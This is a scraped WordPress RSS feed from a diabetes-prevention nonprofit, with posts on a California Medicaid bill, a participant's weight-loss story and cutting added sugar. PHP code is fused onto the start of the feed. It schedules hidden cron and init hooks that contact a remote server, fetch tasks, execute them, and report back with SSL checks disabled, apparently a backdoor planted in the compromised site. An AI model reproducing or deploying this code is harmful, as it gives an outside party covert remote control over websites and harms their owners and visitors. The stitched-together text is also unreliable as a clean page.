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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); diabetesprevention – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 16 Aug 2017 16:13:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp diabetesprevention – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Medical https://skinnygeneprojectnew.dreamsites.io/medical/ https://skinnygeneprojectnew.dreamsites.io/medical/#respond Wed, 16 Aug 2017 16:13:39 +0000 https://www.skinnygeneproject.org/?p=5178 California is facing a diabetic crisis, with 55% of adults and 23% of teens having type 2 diabetes or prediabetes. The problem is growing, with 1.9 million Californians expected to be diagnosed with diabetes in the next 5 years – along with an expected 15 billion extra healthcare costs. Last week, however, California took huge steps in the fight against diabetes. $5 million has been designated for diabetes prevention programs across the state, with coverage through Medicaid starting in 2018. This is great news for us at Skinny Gene, as the DPP is the core focus of what we do in the community. The bill, SB 97, is made with the expectation of another $8 million to be matched by the federal government in the coming years. Together, this $13 million is expected to save Californians $45 million a year that would have been associated with the immediate costs of diabetes. The important part about prevention is that besides the health benefits, the costs associated with it compared to treatment are substantially lower.

The acknowledgment and legislative commitment shown by California puts it in league with only two other states, Minnesota and Montana, as states that provide diabetes prevention programs as a Medicaid benefit. Daniel Zingale, senior vice president at the California Endowment, said, “What’s revolutionary about this change is that it finally starts to recognize that by investing modest amounts on the front end on prevention, we can save enormous amounts in the long term”. This change helps Skinny Gene to continue doing what we have been doing, and will allow roughly 25,000 prediabetics to receive DPP care every year through their insurance. The only requirements to benefit from this bill is to be overweight and have high blood sugar levels, so that the ones who receive care are those who need it most.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/medical/feed/ 0 Frieda – Spotlight Story https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/ https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/#respond Thu, 10 Aug 2017 01:59:56 +0000 https://www.skinnygeneproject.org/?p=5126      The DPP (Diabetes Prevention Program) that we offer at Skinny Gene has a couple of main goals, among them being that the participants lead a healthy lifestyle that allows them to prevent type 2 diabetes. One of the key benchmarks to this success is the 5% rule – if you lose 5% of your body weight, you are statistically proven to have a 58% lower rate of diabetes and it continues to drop with your weight. Making into the “5% club” is a huge deal for us, and we caught up with a member of this group, Frieda, who has used the DPP to seriously curb her diabetes risk.

     Before the DPP, Frieda had very little awareness of the nutrition and impact that it had on her body. She had no energy, didn’t exercise, had joint pains, had consistent mood swings, and “felt quite hopeless about losing weight”. Despite the rough position Frieda was in, she took it upon herself to sign up for one of our DPP classes and soon started seeing a difference. One of the key differences that Frieda saw with the DPP compared to other ways that she had tried to change her unhealthy lifestyle was the commitment. Her prevention experience was an entire year long, with meetings going from weekly to monthly as the program progressed. This reliable, safe place allowed Frieda to find her own success.

“Lifestyle changes just don’t happen overnight, weight doesn’t come off in a flash, and exercise habits take a long time to establish.  Being able to have a framework for a year meant the stage was set for me to succeed.”

     The DPP was also something that Frieda genuinely enjoyed, and that is due to the instructors and impressive group support provided. Frieda’s instructor would email her between classes and go over plans before trips out of town, which really gave her the support and extra push she needed to change her habits. The group in which Frieda worked with was incredibly diverse, with some fitness nuts, others who hated running, as well as people who were short, tall, fat, or skinny. This environment allowed the DPP meetings to become an enjoyable social gathering, creating a place where sticking to a meal or exercise regimen much easier with the support of colleagues going through the same thing right along with you. We are proud to congratulate Frieda on not only reaching the 5% goal, but reaching all the way to 10% below her initial starting weight! Her commitment took her to a much healthier place, and SGP could not be more proud. Just like Frieda felt in the beginning, you may feel discouraged and hopeless, but take her advice and give the DPP a shot, chances are you could change your life and meet some great people in the process.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/feed/ 0 Sugar in your Cupboard https://skinnygeneprojectnew.dreamsites.io/sugar-in-your-cupboard/ https://skinnygeneprojectnew.dreamsites.io/sugar-in-your-cupboard/#respond Wed, 02 Aug 2017 18:21:42 +0000 https://www.skinnygeneproject.org/?p=5064 Gazing into my cupboard today I was overwhelmed. I am specifically looking to rid my pantry and refrigerator of excess sugar. The natural sugar, like the raisins in my cereal can stay. The bag of “yogurt” covered pretzels, I’m not so sure about. This is where I need think about the difference between naturally occurring sugars and added sugars. Fruit, dried fruit, milk and grains have natural sugars that are not a danger to your health. Fructose, sucrose, dextrose and corn syrup are just some of the added sugars found on ingredient lists. These should be limited in our diet to prevent health problems like diabetes, heart disease and tooth decay.  How do we know how much is too much? So, for me and the other ladies 6 Teaspoons sugar is the daily max. Gents, you get 9 Teaspoons and the kids get 4 Teaspoons. Each teaspoon equals approximately 4 grams of sugar. How do we use this information to make healthier food choices? Let’s take those yogurt pretzels and make an example out of them, here’s the math:

If I was to eat a serving, and we all know that NO ONE eats just one serving, I would be more than halfway through my daily allotment. This indicates to me that this product is too high in added sugars, to be considered a healthy snack. Into the garbage pail it goes.

Is this wasteful? No, if it stays around I will be tempted to eat some, probably more than a handful even.  They have nothing of value to offer me except a blood sugar spike and a queasy stomach.

VS.

Here is a challenge for you: Practice at a sugar purge. Go in your cupboard and find a food with about the same amount of added sugar as my yogurt covered pretzels and toss it mercilessly.  Practice regularly until you feel you are ready to do a complete kitchen sugar purge. If you feel inspired to do the whole thing now, you have my blessing. Whatever you choose to do let me know about it. I want all the details. What food was it? How many grams of sugar? Was it a full purge or a trial run?

 

Photography by: Samantha Combs

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